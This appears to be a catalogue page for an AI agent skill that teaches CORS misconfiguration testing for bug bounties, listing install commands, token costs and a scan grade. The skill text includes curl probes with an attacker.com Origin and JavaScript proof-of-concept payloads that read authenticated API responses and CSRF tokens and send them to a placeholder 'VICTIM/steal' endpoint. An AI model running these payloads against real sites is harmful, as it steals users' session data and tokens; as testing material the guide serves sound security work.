Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add ShulkwiSEC/bb-huge --skill cors-misconfiggit clone --depth 1 https://github.com/ShulkwiSEC/bb-hugeWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/shulkwisec/bb-huge/cors-misconfig)<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/cors-misconfig"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/cors-misconfig/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/cors-misconfig"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/cors-misconfig.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00108 | $0.01745 |
| Opus 5.5 | $0.00043 | $0.00698 |
| Sonnet 5.5 | $0.00022 | $0.00349 |
| Haiku 4.5 | $0.00011 | $0.00175 |
Grade A, and why
cors-misconfig scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 3mo ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl -s -H "Origin: https://attacker.com" \ Copies of this mod
1 near-identical copy found in the catalogue:
- cors-misconfig — 100% identical, 0 lines differ
How it starts
The opening of the file, as written. The whole thing — 124 lines — stays where its author put it; the contents beside it link to each section on GitHub.
CORS Misconfiguration
What Is Broken and Why
Cross-Origin Resource Sharing (CORS) extends the same-origin policy to allow controlled cross-origin requests. Misconfigurations arise when servers reflect arbitrary Origin values in Access-Control-Allow-Origin without validation, allow null origins (exploitable via sandboxed iframes), or combine Access-Control-Allow-Origin: * with Access-Control-Allow-Credentials: true (which browsers reject per spec but server-side logic may still honor insecurely). An attacker exploiting a CORS misconfiguration can read authenticated API responses from a victim's browser, leaking session data, PII, CSRF tokens, and other sensitive information.
Key Signals
Access-Control-Allow-Originmirrors theOriginrequest header verbatimAccess-Control-Allow-Origin: *on endpoints returning sensitive data (even without credentials, if the data is public-sensitive)Access-Control-Allow-Credentials: truecombined with origin reflectionAccess-Control-Allow-Origin: null— exploitable via sandboxed iframe- Wildcard subdomain trust: any
*.example.comorigin accepted, including attacker-controlled subdomains - Missing
Vary: Originheader indicating improper caching of CORS responses
Methodology
- Identify API endpoints and sensitive data responses.
- Add
Origin: https://attacker-controlled.comto requests; check if it is reflected inAccess-Control-Allow-Origin. - Add
Origin: null; check ifAccess-Control-Allow-Origin: nullis returned. - Check
Access-Control-Allow-Credentials: true— if combined with origin reflection, full exploitation is possible. - Test subdomain variations:
Origin: https://evil.TARGET-DOMAINto check for overly broad subdomain trust. - Test with OWASP ZAP's passive and active scanner for automated CORS header analysis.
- Build a PoC with
fetch()andcredentials: includefrom an attacker page to confirm read access.
Payloads & Tools
# Manual header injection test
curl -s -H "Origin: https://attacker.com" \
-H "Cookie: session=TOKEN" \
-v TARGET/api/user-data 2>&1 | grep -i "access-control"
# Check for null origin acceptance
curl -s -H "Origin: null" TARGET/api/sensitive-data -v 2>&1 | grep -i "access-control"
# Check for subdomain trust
curl -s -H "Origin: https://evil.target-domain.com" TARGET/api/data -v 2>&1 | grep access-control
# JavaScript PoC — origin reflection with credentials
<script>
fetch('https://TARGET/api/account', {
credentials: 'include'
})
.then(r => r.text())
.then(data => {
fetch('https://VICTIM/steal?d=' + encodeURIComponent(data));
});
</script>
# JavaScript PoC — null origin via sandboxed iframe
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,
<script>
fetch('https://TARGET/api/account', {credentials: 'include'})
.then(r => r.text())
.then(d => top.location = 'https://VICTIM/steal?d=' + encodeURIComponent(d));
</script>"></iframe>
# CORS misconfiguration leading to CSRF token read
<script>
fetch('https://TARGET/account/settings', {credentials: 'include'})
.then(r => r.text())
.then(html => {
var csrfToken = html.match(/csrf[_-]?token.*?value="([^"]+)"/i)[1];
// Now use csrfToken to submit CSRF-protected forms
fetch('https://VICTIM/steal?t=' + csrfToken);
});
</script>
# ZAP — Active scan for CORS
# Analyze -> Active Scan -> run against target; check Alerts for CORS issues
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 3mo ago First seen · 124 lines · 108 tokens per session scan A b89646e550b5
cors-misconfig is a skill published in the GitHub repository ShulkwiSEC/bb-huge (27 stars, last pushed 4mo ago), licensed MIT. It adds 108 tokens to every session and 1,745 once invoked, about $0.0004 per session on Opus 5.5. A static security scan graded it A with 1 finding (makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
cors-misconfig compared with skills from other repositories
| Mod | Type | Stars | Last push | Licence | Scan | Tokens | Works with |
|---|---|---|---|---|---|---|---|
| cors-misconfigShulkwiSEC/bb-huge | Skill | 27 | 4mo ago | MIT | A | 108 | Claude Code, Codex |
| hunt-api-misconfigelementalsouls/Claude-BugHunter | Skill | 28k | 4d ago | MIT | A | 207 | Claude Code |
| connector-assistantDemonDamon/AgenticX | Skill | 1.3k | yesterday | Apache-2.0 | A | 110 | Claude Code, Codex |
| octopus-architecturenyldn/claude-octopus | Skill | 4.5k | today | MIT | A | 19 | Claude Code |
| agenticx-a2a-connectorDemonDamon/AgenticX | Skill | 1.3k | yesterday | Apache-2.0 | A | 73 | Claude Code, Codex |
| agenticx-tool-creatorDemonDamon/AgenticX | Skill | 1.3k | yesterday | Apache-2.0 | A | 63 | Claude Code, Codex |
| continuum-tools-mcpshyftlabs/continuum | Skill | 86 | yesterday | Apache-2.0 | A | 94 | Claude Code |